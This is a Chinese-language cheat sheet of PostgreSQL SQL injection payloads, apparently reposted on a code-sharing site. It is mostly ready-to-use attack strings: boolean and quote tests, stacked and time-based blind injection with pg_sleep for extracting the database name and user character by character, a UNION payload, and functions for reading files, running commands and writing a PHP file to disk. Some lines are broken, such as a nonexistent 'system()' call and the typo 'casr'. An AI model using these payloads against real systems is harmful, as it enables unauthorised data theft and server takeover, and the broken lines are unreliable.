PostGresql 注入知識匯總


一、postgresql簡介

postgresql是一款關系型數據庫,廣泛應用在web編程當中,由於其語法與MySQL不盡相同,所以其SQL注入又自成一派。

二、postgresql的SQL注入:(注意注釋符號--+)

1、簡單的有回顯的SQL注入不用多說,還是基本的SQL語句直接查詢就可以了。

#簡單的payload
parameter = 2-1
parameter = 1 and 1 = 2
parameter = 1 or 1 = 2-1
parameter = 1' and '1'='1#and -> or
parameter = 1' and '1'='2#and -> or

或者引號區分發(適用於字符串)

1 parameter = 1    #Success
2 parameter = 1'   #Failed
3 parameter = 1''  #Success

2、一般的基於堆注入,可以參考下面的辦法:

復制代碼
1 #postgresql 的幾個簡單判斷payload:
2 parameter=1;select pg_sleep(5)
3 parameter=1';select pg_sleep(5)
4 parameter=1');select pg_sleep(5)
5 parameter=1);select pg_sleep(5)
6 parameter=1));select pg_sleep(5)
7 parameter=select pg_sleep(5)
復制代碼

盲注的逐位猜解(有時候需要對字符進行url編碼才可以正常執行,使用burpsuite時注意)。


1 ;SELECT CASE WHEN (length(current_database())=6) THEN pg_sleep(3) ELSE pg_sleep(0) END  --+ #猜解數據庫長度

2 ;SELECT CASE WHEN (COALESCE(ASCII(SUBSTR((CURRENT_SCHEMA()),0,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+   #猜解數據庫名稱

4 ;SELECT CASE WHEN (length(current_user)=6) THEN pg_sleep(3) ELSE pg_sleep(0) END  --+ #猜解當前用戶長度

5 ;SELECT CASE WHEN (COALESCE(ASCII(SUBSTR((current_user),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+   #逐位猜解用戶

3、常見的函數查看一些基本信息:

復制代碼
1 SELECT version() #查看版本信息
2 #查看用戶
3 SELECT user;
4 SELECT current_user;
5 SELECT session_user;
6 SELECT usename FROM pg_user;#這里是usename不是username
7 SELECT getpgusername();
8 #查看當前數據庫
9 SELECT current_database()
10 CURRENT_SCHEMA() 查看當前數據庫 sqlmap跑注入使用此函數。
11
復制代碼

4、聯合查詢注入

Cast(字段名 as 轉換的類型 ) 

 CAST ( expression AS target_type );   

實例: SELECT CAST ('100' AS INTEGER);

cast函數具體介紹參考以下鏈接  

https://blog.csdn.net/neweastsun/article/details/111414641

UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(CHR(113)||CHR(118)||CHR(98)||CHR(120)||CHR(113))||COALESCE(CAST(CURRENT_SCHEMA() AS VARCHAR(10000))::text,(CHR(32)))||(CHR(113)||CHR(118)||CHR(107)||CHR(107)||CHR(113)),NULL-- onWD

5、postgresql下的if

復制代碼
1 #mysql的
2 if(expr1,result1,result2);
3 #如果expr1滿足,result1,否則result2
4 
5 #對於postgresql
6 select case when(expr1) then result1 else result2 end;
7 
8 #舉個例子
9 select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
復制代碼

5、其他

(1)讀取文件:

1 select pg_read_file(filepath+filename);

(2)執行命令:

1 select system("comamnd_string");

(3)寫入文件:

1 COPY (select '<?php phpinfo();?>') to '/tmp/1.php';


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM